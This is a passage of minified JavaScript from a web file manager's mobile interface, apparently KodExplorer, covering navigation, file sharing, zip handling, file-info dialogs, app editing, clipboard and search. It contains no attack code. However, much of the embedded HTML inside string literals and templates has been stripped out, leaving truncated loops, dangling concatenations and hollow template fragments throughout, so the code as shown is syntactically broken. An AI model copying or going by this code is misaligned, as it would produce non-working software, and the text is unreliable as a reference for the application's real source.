0!=a.shareList&&(selfShare=a.shareList),a.filterSuccess===!0)return a;for(var b in a)if("fileList"==b||"folderList"==b)for(var c=0;c'+d.name+""}b+='
      • '+LNG.ui_logout+"
      • ",$(".left-menu-path").html(b),$(".panel-menu li").bind("click",function(){r(!1);var a=$(this).attr("data-action"),b=$(this).attr("data-path");setTimeout(function(){switch(a){case"open-path":ui.path.list(b);break;case"exit":window.location.href=G.appHost+"user/logout"}},20)})}})},t=function(){var a=$(".address"),b=$(window).width(),c=0;a.stop(!0,!0),a.find(".yarnlet").each(function(a){c+=$(this).outerWidth()+8});var d=b-c;d>=0&&(d=0),a.css("width","100%").animate({left:d+"px"},150)};return{f5:i,f5Callback:j,init:function(){if(""==G.thisPath){var a=window.location.href.split("#");if(2==a.length&&""!=trim(urlDecode(a[1]))){var b=a[1].split("&");G.thisPath=urlDecode(b[0])}else{var c=G.userID||G.sid,d=LocalData.get("thisPath:"+c);d?G.thisPath=d:G.thisPath=G.myhome}}j(function(){i(!1,!0)}),s(),p(),ui.header.bindEvent()},header:{bindEvent:function(){$(".tool-menu-left").on("click",function(){r(!0)}),$(".panel-mask").on("click",function(){r(!1)}),$(".tool-menu-right li").on("click",function(a){$(".toolbar-menu").removeClass("open");var b=$(this).attr("data-action");switch(b){case"upload":core.upload(),setTimeout(function(){$("#picker .webuploader-element-invisible").click()},100);break;case"newfolder":ui.path.newFolder();break;case"newfile":ui.path.newFile("txt");break;case"search":ui.path.search("",G.thisPath);break;case"past":ui.path.past()}return!1}),G.shareInfo&&G.shareInfo.canUpload&&$("[data-action=upload]").removeClass("hidden")},addressSet:function(){var a=G.thisPath,b=function(a){var b='
      • {$3}
      • ',c='
      • {$3}
      • ';a=a.replace(/\/+/g,"/");var d=a.split("/");""==d[d.length-1]&&d.pop();var e=d[0]+"/",f=b.replace(/@1@/g,e),g=d[0],h="";if(G.jsonData.info&&G.jsonData.info.pathType&&""!=d[0]){var i=core.getPathIcon(G.jsonData.info,G.jsonData.info.name);h=''+core.iconSmall(i.icon)+"",g=i.name}f=f.replace("{$2}",d.length),f=f.replace("{$3}",h+''+htmlEncode(g)+"");for(var j=f,k=1,l=d.length-1;k'+htmlEncode(urlDecode(d[k]))+"
        "),j+=f}return j};$(".frame-main .address ul").html(b(a)),""==$(".yarnlet.first .title-name").html()&&$(".yarnlet.first .title-name").html("/"),t();var c=$(".yarnball .yarnlet").last().find(".title-name").text();$("title").html(c+LNG.kod_power_by)},gotoPath:function(){var a=$("input.path").val();a=a.replace(/\\/g,"/"),$("input.path").val(a),"/"!=a.substr(a.length-1,1)&&(a+="/"),ui.path.list(a),ui.header.addressSet()}}}});;define("app/src/explorerWap/tpl/list.html",[],"\n{{if type=='list-folder'}}\n
        \n
        \n {{fileIconMake('folder','list',list)}}\n {{if list.metaInfo}} \n
        {{list.metaInfo |kod.core.icon}}
        \n {{/if}}\n
        \n
        \n {{list.name}}\n
        \n \n
        \n
        {{list.mtime?list.mtime:''}}
        \n
        \n
        \n\n\n{{else if type=='list-file'}}\n
        \n {{fileIconMake('file','list',list)}}\n {{if list.metaInfo}}\n
        {{list.metaInfo |kod.core.icon}}
        \n {{/if}}\n\n
        \n \n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n \n
        \n \n
        {{list.size |pathTools.fileSize}}
        \n
        {{list.mtime}}
        \n
        \n
        \n{{/if}}\n");;define("app/src/explorerWap/path",["../../path/pathOperate","../../path/tpl/fileinfo/fileInfo.html","../../path/tpl/fileinfo/pathInfo.html","../../path/tpl/share.html","../../path/tpl/fileinfo/pathInfoMore.html","../../path/tpl/appEdit.html","../../path/clipboard","../../path/search","../../path/tpl/search.html","../../path/tpl/searchList.html"],function(a,b){var c=a("../../path/pathOperate"),d=a("../../path/clipboard"),e=a("../../path/search"),f=function(a,b,c){if(void 0!=a){if(a==G.thisPath)return void(void 0!=b&&""!=b&&Tips.tips(LNG.path_is_current,"info"));"undefined/"==a&&(a=G.myhome),G.thisPath=a.replace(/\\/g,"/"),G.thisPath=a.replace(/\/+/g,"/"),"/"!=G.thisPath.substr(G.thisPath.length-1)&&(G.thisPath+="/");var d=window.location.origin+window.location.pathname+window.location.search;window.location.href=d+"#"+urlEncode(G.thisPath),ui.f5Callback(function(){"function"==typeof c&&c()})}},g=function(a,b,c){void 0!=a&&("folder"==b?ui.path.list(a+"/"):(kodApp.setLastOpenTarget(c),kodApp.open(a,b),j()))},h=function(){kodApp.setOpenUserLocal(!1,"photoSwipe"),kodApp.setOpenUserLocal(["html","htm"],"browserOpen"),kodApp.openUnknow=function(a,b){void 0==b&&(b="");var c="kodApp.open(pathHashDecode('"+pathHashEncode(a)+"'),false,'browserOpen');",d="kodApp.download(pathHashDecode('"+pathHashEncode(a)+"'));",e=LNG.unknow_file_try+'
        '+LNG.unknow_file_tips+"
        "+b+'
        2.'+e+d+'">'+LNG.unknow_file_download+"
        ";$.dialog({fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:"20px 50px",content:f,cancel:!0}),$(".unknow-file a").unbind("click").bind("click",function(a){return $(this).parents(".artDialog").data("artDialog").close(),stopPP(a)})}},j=function(){if($(".artDialog").exists()){var a=$(".artDialog").data().artDialog;if(a.hasFrame()){$(".artDialog").addClass("hidden");var b=a.DOM.wrap.find("iframe").attr("src");a.close(),window.location.href=b}}},k=function(a,b,c){var d=a.length;for(i=0;i","|"],d=["/","\\"],e=function(a){var b=function(a,b){for(var c=b.length,d=0;c>d;d++)if(a.indexOf(b[d])>0)return!0;return!1},e=d;return G.systemOS&&"windows"==G.systemOS&&(e=c),b(a,e)?(Tips.tips(LNG.path_not_allow+": "+e.join(", "),!1),!1):!0},f=function(a){for(var b=[],c=function(a){return a?a.replace(/"/g,'\\\\"'):a},d=0;d";"share"==a[0].type&&G.selfShare[a[0].path]&&(j=""+htmlEncode(G.selfShare[a[0].path].name)+""),g=a.length>1?j+' ... '+a.length+LNG.remove_item+"
        "+g:j+"
        "+g}var k=function(){$.ajax({url:h,type:"POST",dataType:"json",data:i,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(c){if(Tips.close(c),ShareData.frameTop("",function(a){a.ui.f5()}),"share"==a[0].type){G.selfShare=c.info;var d=$.dialog.list["share-dialog"];d&&d.close()}e==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof b&&b(c)}})};c?k():$.dialog({id:"dialog-path-remove",fixed:!0,icon:"question",title:e,padding:"40px 40px",lock:!0,background:"#000",opacity:.1,content:"
        "+g+"
        ",ok:k,cancel:!0})}},k=function(a){if(core.authCheck("explorer.fileDownload",!0)&&!(a.length<1)){var b=G.appHost+"explorer/zipDownload";"undefined"!=typeof G.sharePage&&(b=G.appHost+"share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:b,type:"POST",dataType:"json",data:f(a),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(a){Tips.close(a),Tips.tips(a);var b=G.appHost+"explorer/fileDownloadRemove&path="+urlEncode(a.info);b+="&accessToken="+G.accessToken,"undefined"!=typeof G.sharePage&&(b=G.appHost+"share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},l=function(a,b,c){a.length<1||(c||(c="zip"),$.ajax({url:G.appHost+"explorer/zip&fileType="+c,type:"POST",dataType:"json",data:f(a),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(a){Tips.close(a),a.code&&core.playSound("drag_drop"),"function"==typeof b&&b(a.info)}}))},m=function(a,b,c){if(a){var d=function(a){$.ajax({url:a,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(a){Tips.close(a),"function"==typeof b&&b(a)}})},e=G.appHost+"explorer/unzip&path="+urlEncode(a);"toThis"==c&&(e+="&toThis=1"),"toFolder"==c?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(a){e+="&pathTo="+a,d(e)}):d(e)}},n=function(a){var b=a.path,c=core.pathPre(b);if(c==G.KOD_GROUP_PATH||c==G.KOD_GROUP_SHARE||c==G.KOD_USER_SHARE)return void Tips.tips(LNG.path_can_not_share,"warning");var d="folder"==a.type?"folder":"file";b.length<1||core.authCheck("userShare.set",!0)&&$.ajax({url:G.appHost+"userShare/checkByPath&path="+urlEncode(b),dataType:"json",error:core.ajaxError,success:function(a){if(a.code)o(a.data);else{G.selfShare=a.info;var c={path:b,type:d,name:core.pathThis(b)};p(c,function(a){a.code?(G.selfShare=a.info,ui.f5(),o(a.data)):(Tips.tips(a),o(void 0,function(){$(".content-info input[name=type]").val(d),$(".content-info input[name=path]").val(b),$(".content-info input[name=name]").val(core.pathThis(b)+"(1)"),"file"==d&&($(".label-code-read").addClass("hidden"),$(".label-can-upload").addClass("hidden"))}))})}}})},o=function(b,c){0!=$(".share-dialog").length&&$(".share-dialog").shake(3,30,100),a.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){q(b),void 0!=c&&c()})},p=function(a,b){$.ajax({url:G.appHost+"userShare/set",data:a,type:"POST",dataType:"json",beforeSend:function(a){$(".share-create-button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(a){$(".share-create-button").removeClass("disabled"),void 0!=b&&b(a)}})},q=function(b){var c=a("./tpl/share.html"),d=template.compile(c),e=d({LNG:LNG});$.dialog({id:"share-dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:e});var f="zh-CN"==G.lang?"ch":"en";$("#share-time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:f}),$("#share-time").unbind("blur").bind("blur",function(a){stopPP(a)});var g=function(a){if($(".share-setting-more").addClass("hidden"),void 0==a)$(".share-has-url").addClass("hidden"),$(".share-action .share-remove-button").addClass("hidden"),$(".content-info input[name=sid]").val(""),$(".content-info input[name=type]").val(""),$(".content-info input[name=name]").val(""),$(".content-info input[name=showName]").val(""),$(".content-info input[name=path]").val(""),$(".content-info input[name=timeTo]").val(""),$(".content-info input[name=sharePassword]").val(""),$(".share-view-info").addClass("hidden");else{a.options&&(a.codeRead=a.options.codeRead,a.canUpload=a.options.canUpload,a.notDownload=a.options.notDownload),"undefined"==typeof a.canUpload&&(a.canUpload=""),b=a,a.showName||(a.showName=a.name),$(".content-info input[name=sid]").val(a.sid),$(".content-info input[name=type]").val(a.type),$(".content-info input[name=name]").val(a.name),$(".content-info input[name=showName]").val(a.showName),$(".content-info input[name=path]").val(a.path),$(".content-info input[name=timeTo]").val(a.timeTo),$(".content-info input[name=sharePassword]").val(a.sharePassword),$(".share-view-info").removeClass("hidden"),"undefined"==typeof a.numDownload&&(a.numDownload=0),"undefined"==typeof a.numView&&(a.numView=0);var c=LNG.share_view_num+a.numView+" "+LNG.share_download_num+a.numDownload;$(".share-view-info").html(c),"1"==a.codeRead?$(".content-info input[name=codeRead]").attr("checked","checked"):$(".content-info input[name=codeRead]").removeAttr("checked"),"1"==a.notDownload?$(".content-info input[name=notDownload]").attr("checked","checked"):$(".content-info input[name=notDownload]").removeAttr("checked"),"1"==a.canUpload?$(".content-info input[name=canUpload]").attr("checked","checked"):$(".content-info input[name=canUpload]").removeAttr("checked"),$(".share-has-url").removeClass("hidden"),"file"==a.type?($(".label-code-read").addClass("hidden"),$(".label-can-upload").addClass("hidden")):($(".label-code-read").removeClass("hidden"),$(".label-can-upload").removeClass("hidden"));var d=a.type;"folder"==a.type&&(d=1==a.codeRead?"codeRead":"folder");var e=G.appHost+"share/"+d+"&user="+G.userID+"&sid="+a.sid;$(".content-info .share-url").val(e),(a.timeTo||a.canUpload||a.codeRead||a.notDownload)&&$(".share-setting-more").removeClass("hidden"),$(".share-remove-button").removeClass("hidden"),$(".share-create-button").text(LNG.share_save),Hook.trigger("explorer.path.share.uiInit")}},h=function(){var a="";$(".share-dialog .content-info input[name]").each(function(){var b=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(b=$(this).attr("checked")?"1":""),a+="&"+$(this).attr("name")+"="+b}),p(a,function(a){a.code?(Tips.tips(LNG.success,!0),G.selfShare=a.info,ui.f5()):Tips.tips(a)})},i=function(){$(".share-action .share-remove-button").unbind("click").click(function(){j([{type:"share",path:b.sid}],function(){ui.f5()})}),$(".content-info .share-more").unbind("click").click(function(){$(".share-setting-more").toggleClass("hidden")}),$("[name=sharePassword]").unbind("click").click(function(){trim($(this).val())||$(this).val(roundString(5)),$(this).blur().textSelect()});var a=$(".share-dialog .btn.copy"),c=new ClipboardJS(a.get(0),{text:function(a){h();var b=trim($("[name=sharePassword]").val()),c=$(".share-url").val();return b.length>0&&(c=LNG.share_url+":"+c+" "+LNG.share_password+":"+b),c}});c.on("success",function(a){$("input.share-url").textSelect()}),$(".share-action .share-create-button").unbind("click").click(function(){h();var a=$.dialog.list["share-dialog"];a&&a.close()}),$(".content-info .open-window").unbind("click").bind("click",function(){h(),window.open($("input.share-url").val())}),$(".content-info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share-url").val())});var d=$("input.share-url");d.get(0);d.unbind("hover click").bind("hover click",function(a){d.textSelect()})};g(b),i()},r=function(a){$.ajax({url:G.appHost+"setting/set&k=wall&v="+urlEncode(a),dataType:"json",success:function(a){Tips.tips(a)}})},s=function(a,b,c,d,e){if(!(a.length<1)){var f,g=G.myDesktop;d&&(g=core.pathFather(a)),f="folder"==c?"ui.path.list(hashDecode('"+hashEncode(a)+"'));":"ui.path.open(hashDecode('"+hashEncode(a)+"'));";var h=urlEncode(g+b+".oexe"),i=core.getPathIcon(a);""==i.icon&&(i.icon=c),$.ajax({url:G.appHost+"explorer/mkfile&path="+h,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:f,icon:i.icon})},success:function(a){Tips.tips(a),a.code&&(ShareData.frameTop("",function(a){a.ui.f5()}),"function"==typeof e&&e(a.info))}})}},t=function(a,b){if(!(a.length<1)){var c=core.pathThis(a),d=core.pathFather(a);jsrun="core.explorerCode('"+urlEncode(a)+"');";var e=urlEncode(d+c+"_project.oexe");$.ajax({url:G.appHost+"explorer/mkfile&path="+e,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(a){a.code&&"function"==typeof b&&b(a.info)}})}},u=function(a,b,c){if(a){var d=G.appHost+"explorer/imageRotate&rotate="+b+"&path="+urlEncode(a);$.ajax({url:d,beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){return a?(Tips.close(a),void(a.code&&"function"==typeof c&&c(a))):void Tips.close(LNG.php_env_error_gd,!1)}})}},v=function(b){var c={};c.fileInfo=a("./tpl/fileinfo/fileInfo.html"),c.pathInfo=a("./tpl/fileinfo/pathInfo.html"),c.pathInfoMore=a("./tpl/fileinfo/pathInfoMore.html"),b.length<1&&(b=[{path:G.thisPath,type:"folder"}]);var d="info";1==b.length&&(d="file"==b[0].type?core.pathExt(b[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(f(b),function(a){if(!a.code)return void Tips.close(a);Tips.close(LNG.get_success,!0);var e="pathInfoMore",f=LNG.info;1==b.length&&(e="folder"==b[0].type?"pathInfo":"fileInfo",f=core.pathThis(b[0].path),f.length>15&&(f=f.substr(0,15)+"... "+LNG.info));var g=template.compile(c[e]),h=UUID();a.data.is_root=G.isRoot,a.data.LNG=LNG,a.data.atime=date(LNG.time_type_info,a.data.atime),a.data.ctime=date(LNG.time_type_info,a.data.ctime),a.data.mtime=date(LNG.time_type_info,a.data.mtime),a.data.sizeFriendly=pathTools.fileSize(a.data.size);var i=$.dialog({id:h,padding:5,ico:core.iconSmall(d),fixed:!0,title:f,content:g(a.data),ok:!0}),j=15*$(".aui-outer .pathinfo").length;i.DOM.wrap.css({left:"+="+j+"px",top:"+="+j+"px"}),w(h,b)})},w=function(a,b){var c=$("."+a);c.find(".open-window").bind("click",function(){window.open(c.find("input.download-url").val())}),c.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(c.find("input.download-url").val(),c.find(".qrcode").get(0))});var d=c.find(".file-md5-loading");if(1==d.length){var e=f(b);e+="&getMd5=1",core.fileInfo(e,function(a){d.removeClass("file-md5-loading"),a.code?d.html(a.data.fileMd5):d.html(LNG.error)})}var g=c.find("input.download-url"),h=g.get(0);g.unbind("hover click").bind("hover click",function(a){$(this).focus();var b=g.val().length;if($.browser.msie){var c=h.createTextRange();c.moveEnd("character",-h.value.length),c.moveEnd("character",b),c.moveStart("character",0),c.select()}else h.setSelectionRange(0,b)}),c.find(".edit-chmod").click(function(){var a=$(this).parent().find("input"),c=$(this);$.ajax({url:G.appHost+"explorer/pathChmod&mod="+a.val(),type:"POST",data:f(b),beforeSend:function(){c.text(LNG.loading)},error:function(a){c.text(LNG.button_save)},success:function(a){c.text(a.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){c.text(LNG.button_save)}),a.code&&ui.f5()}})})},x=function(a,b,c){var d=function(){$.ajax({url:G.appHost+"fav/del&name="+urlEncode(a),dataType:"json",async:!1,success:function(a){"function"==typeof b&&b(a)}})};return c?void d():void $.dialog({id:"dialog-fav-remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:d,cancel:!0})},y=function(a){if(a){if(-1==trim(core.pathClear(a.path),"/").indexOf("/")){var b=core.getPathIcon(a.path,a.name);""!=b.icon&&(a.ext=b.icon,a.name=b.name)}"/"==a.path&&(a.name="Home"),$.ajax({url:G.appHost+"fav/add",dataType:"json",data:a,success:function(a){Tips.tips(a),a.code&&!core.isApp("desktop")&&ui.tree.refreshFav()}})}},z=function(a){var b={};return b.type=a.find("input[type=radio]:checked").val(),b.content=a.find("textarea").val(),b.group=a.find("[name=group]").val(),a.find("input[type=text]").each(function(){var a=$(this).attr("name");b[a]=$(this).val()}),a.find("input[type=checkbox]").each(function(){var a=$(this).attr("name");b[a]="checked"==$(this).attr("checked")?1:0}),b},A=function(a){a.find(".type input").change(function(){var b=$(this).attr("apptype");a.find("[data-type]").addClass("hidden"),a.find("[data-type="+b+"]").removeClass("hidden")}),a.find(".app-edit-select-icon").unbind("click").bind("click",function(){var b=G.basicPath+"static/images/file_icon/icon_app/";G.isRoot||(b=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:b},function(b){var b=core.path2url(b);a.find(".app-edit-select-icon-input").val(b)})}),a.find(".size-full").unbind("click").bind("click",function(){var b=$(this).prop("checked");b?(a.find("[name=width]").val("100%"),a.find("[name=height]").val("100%")):(a.find("[name=width]").val("800"),a.find("[name=height]").val("600"))})},B=function(b,c,d){var e,f,g,h=LNG.app_create,i=UUID(),j=a("./tpl/appEdit.html"),k=template.compile(j);switch(void 0==d&&(d="userEdit"),"rootEdit"==d&&(b=b),"userEdit"==d||"rootEdit"==d?(h=LNG.app_edit,g=k({LNG:LNG,uuid:i,data:b,appType:G.settings.appType})):g=k({LNG:LNG,uuid:i,data:{},appType:G.settings.appType}),$.dialog({fixed:!0,width:450,id:i,padding:15,title:h,content:g,button:[{name:LNG.preview,callback:function(){return core.openApp(z(e)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var a=z(e);switch(d){case"userAdd":var g=urlEncode(G.thisPath+a.name);f=G.appHost+"app/userApp&action=add&path="+g;break;case"userEdit":f=G.appHost+"app/userApp&path="+urlEncode(b.path);break;case"rootAdd":f=G.appHost+"app/add&name="+urlEncode(a.name);break;case"rootEdit":f=G.appHost+"app/edit&name="+urlEncode(a.name)+"&old_name="+urlEncode(b.name)}$.ajax({url:f,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(a){if(Tips.close(a),a.code)if("rootEdit"==d||"rootAdd"==d){if(!a.code)return;ShareData.frameTop("Openapp_store",function(a){a.App.reload()})}else"function"==typeof c?c():ui.f5()}})}}]}),e=$("."+i),G.isRoot||$(".appbox .appline .right a.open").remove(),b.group&&e.find("option").eq(b.group).attr("selected",1),e.find(".aui-content").css("overflow","inherit"),d){case"userEdit":e.find(".name").addClass("hidden"),e.find(".desc").addClass("hidden"),e.find(".group").addClass("hidden"),e.find("option[value="+b.group+"]").attr("checked",!0),"url"!=b.type&&e.find(".appline[data-type=url]").addClass("hidden");break;case"userAdd":e.find(".desc").addClass("hidden"),e.find(".group").addClass("hidden"),e.find("[apptype=url]").attr("checked",!0),e.find("[data-type=url] input[name=resize]").attr("checked",!0),e.find("input[name=width]").attr("value","800"),e.find("input[name=height]").attr("value","600"),e.find("input[name=icon]").attr("value","oexe.png");break;case"rootAdd":e.find("[apptype=url]").attr("checked",!0),e.find("[data-type=url] input[name=resize]").attr("checked",!0),e.find("input[name=width]").attr("value","800"),e.find("input[name=height]").attr("value","600"),e.find("input[name=icon]").attr("value","oexe.png");break;case"rootEdit":e.find("option[value="+b.group+"]").attr("selected",!0),"url"!=b.type&&e.find(".appline[data-type=url]").addClass("hidden")}A(e)},C=function(){core.appStore()},D=function(a){a&&a.length<4&&"http"!=a.substring(0,4)||$.ajax({url:G.appHost+"app/getUrlTitle&url="+a,dataType:"json",beforeSend:function(){Tips.loading()},success:function(b){var c=b.data;c=c.replace(/[\/\\]/g,"_"),Tips.close(b);var d={content:a,type:"url",desc:"",group:"others",icon:"internet.png",name:c,resize:1,simple:0,height:"70%",width:"90%"},e=urlEncode(G.thisPath+c);a=G.appHost+"app/userApp&action=add&path="+e,$.ajax({url:a,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(d))},success:function(a){Tips.close(a),a.code&&ui.f5()}})}})};return{makeJson:f,appEdit:B,appList:C,appAddURL:D,share:n,shareBox:o,setBackground:r,createLink:s,createProject:t,imageRotate:u,newFile:g,newFolder:h,rname:i,zipDownload:k,zip:l,unZip:m,info:v,remove:j,fav:y,favRemove:x}});;define("app/path/tpl/fileinfo/fileInfo.html",[],"
        \n {{if downloadPath}}\n \n
        \n {{/if}}\n\n
        \n
        {{LNG.address}}:
        \n
        {{path |kod.window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{sizeFriendly}} {{if size>1024}}({{size.toLocaleString()}} Byte){{/if}}
        \n
        \n
        \n\n {{if fileMd5}}\n
        \n
        MD5:
        \n
        {{fileMd5}}
        \n
        \n
        \n {{/if}}\n\n {{if imageSize}}\n
        \n
        {{LNG.image_size}}:
        \n
        {{imageSize.width}} × {{imageSize.height}}
        \n
        \n
        \n {{/if}}\n\n
        \n\n {{if ctime}}\n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n {{/if}}\n\n {{if mtime}}\n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n {{/if}}\n\n {{if atime}}\n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n {{/if}}\n\n {{if owner}}\n
        \n
        {{LNG.file_info_owner}}
        \n
        {{owner}}
        \n
        \n
        \n {{/if}}\n\n {{if group}}\n
        \n
        {{LNG.file_info_group}}
        \n
        {{group}}
        \n
        \n
        \n {{/if}}\n \n {{if mode && is_root==\"1\"}}\n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n");;define("app/path/tpl/fileinfo/pathInfo.html",[],"
        \n
        \n
        {{LNG.address}}:
        \n
        {{path |kod.window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{sizeFriendly}}{{if size>1024}}({{size.toLocaleString()}} Byte){{/if}}
        \n
        \n
        \n
        \n
        {{LNG.contain}}:
        \n
        {{fileCount}} {{LNG.file}},{{folderCount}} {{LNG.folder}}
        \n
        \n
        \n \n
        \n {{if ctime}}\n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n {{/if}}\n\n {{if mtime}}\n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n {{/if}}\n\n {{if atime}}\n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n {{/if}}\n\n {{if owner}}\n
        \n
        {{LNG.file_info_owner}}
        \n
        {{owner}}
        \n
        \n
        \n {{/if}}\n\n {{if group}}\n
        \n
        {{LNG.file_info_group}}
        \n
        {{group}}
        \n
        \n
        \n {{/if}}\n\n\n {{if mode && is_root==\"1\"}}\n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n");;define("app/path/tpl/share.html",[],'
        \n
        \n
        {{LNG.share_title}}
        \n \n
        \n
        \n \n
        \n {{LNG.share_password}}:\n \n {{LNG.share_password_desc}}\n
        \n
        \n \n \n
        \n \n
        ');;define("app/path/tpl/fileinfo/pathInfoMore.html",[],"
        \n
        \n
        {{LNG.info}}:
        \n
        \n {{fileCount}} {{LNG.file}},{{folderCount}} {{LNG.folder}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{sizeFriendly}} {{if size>1024}}({{size.toLocaleString()}} Byte){{/if}}
        \n
        \n
        \n \n {{if mode && is_root==\"1\"}}\n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n");;define("app/path/tpl/appEdit.html",[],"
        \n
        \n
        {{LNG.name}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_desc}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_icon}}
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_group}}
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_type}}
        \n
        \n \n \n \n \n \n \n
        \n
        \n
        \n\n
        \n
        {{LNG.app_display}}
        \n
        \n \n \n \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_size}}
        \n
        \n ({{LNG.width}})  \n ({{LNG.height}})\n\n \n \n
        \n
        \n
        \n
        \n \n \n
        {{LNG.app_url}}
        \n
        \n
        \n
        \n
        \n");;define("app/path/clipboard",[],function(a,b){var c=function(a){return ui.path.pathOperate.makeJson(a)},d=function(a){a.length<1||$.ajax({url:G.appHost+"explorer/pathCopy",type:"POST",dataType:"json",data:c(a),error:core.ajaxError,success:function(a){Tips.tips(a)}})},e=function(a){a.length<1||$.ajax({url:G.appHost+"explorer/pathCute",type:"POST",dataType:"json",data:c(a),error:core.ajaxError,success:function(a){Tips.tips(a)}})},f=function(a,b){a&&(Tips.loading(LNG.moving),setTimeout(function(){var c=G.appHost+"explorer/pathPast&path="+urlEncode(a);$.ajax({url:c,dataType:"json",error:core.ajaxError,success:function(a){Tips.close(a.data,a.code),"function"==typeof b&&b(a.info)}})},50))},g=function(a,b,d){b&&$.ajax({url:G.appHost+"explorer/pathCuteDrag",type:"POST",dataType:"json",data:c(a)+"&path="+urlEncode(b+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(a){Tips.close(a),a.code&&core.playSound("drag_drop"),"function"==typeof d&&d(a.info)}})},h=function(a,b,d,e){b&&(void 0==e&&(e=0),$.ajax({url:G.appHost+"explorer/pathCopyDrag",type:"POST",dataType:"json",data:c(a)+"&path="+urlEncode(b+"/")+"&filename_auto="+Number(e),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(a){Tips.close(a),a.code&&core.playSound("drag_drop"),"function"==typeof d&&d(a.info)}}))},i=function(a,b){var c="style='height:150px;border-left: 3px solid #def;overflow:auto;margin:20px;background: #f0f8ff;padding:20px;width:300px'",d="
        "+LNG.clipboard_null+"
        ";if(0!=a.length){d="
        "+LNG.clipboard_state+LNG[b]+"
        ";for(var e=40,f=0;f"+g.type+": "+h+""}d+='
        "}return d},j=function(){$.ajax({url:G.appHost+"explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(a){a.code&&($.dialog({id:"dialog-clipboard",title:LNG.clipboard,width:400,content:i(a.data,a.info)}),$(".clipboard-clear").one("click",function(){Tips.tips(LNG.success),$.get(G.appHost+"explorer/clipboard&clear=ok"),$.dialog.list["dialog-clipboard"].close()}))}})};return{copy:d,cute:e,past:f,cuteDrag:g,copyDrag:h,clipboard:j}});;define("app/path/search",["./tpl/search.html","./tpl/searchList.html"],function(a,b){var c=a("./tpl/search.html"),d=a("./tpl/searchList.html");return function(a,b){b||(b=G.thisPath);var e,f,g=function(){var d=trim(core.pathClear(b),"/");if(0==d.indexOf(G.KOD_USER_SHARE)&&-1==d.indexOf("/")||d==G.KOD_USER_FAV||d==G.KOD_GROUP_ROOT_ALL)return void Tips.tips(LNG.path_cannot_search,!1);template.helper("searchResultPrase",j);var g=template.compile(c);0==$(".dialog-do-search").length?(e=$.dialog({id:"dialog-do-search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:460,height:480,content:g({LNG:LNG})}),f=l(),f.path=b,""!=a&&(f.search=a),$("#search-path").val(f.path),$("#search-value").val(f.search),k()):($.dialog.list["dialog-do-search"].display(!0),a&&$("#search-value").val(a),$("#search-path").val(b),i())},h=function(){return f={search:$("#search-value").val(),path:$("#search-path").val(),is_content:Number($("#search-is-content").is(":checked")),is_case:Number($("#search-is-case").is(":checked")),ext:$("#search-ext").val()}},i=function(){h(),n(f)},j=function(a){var 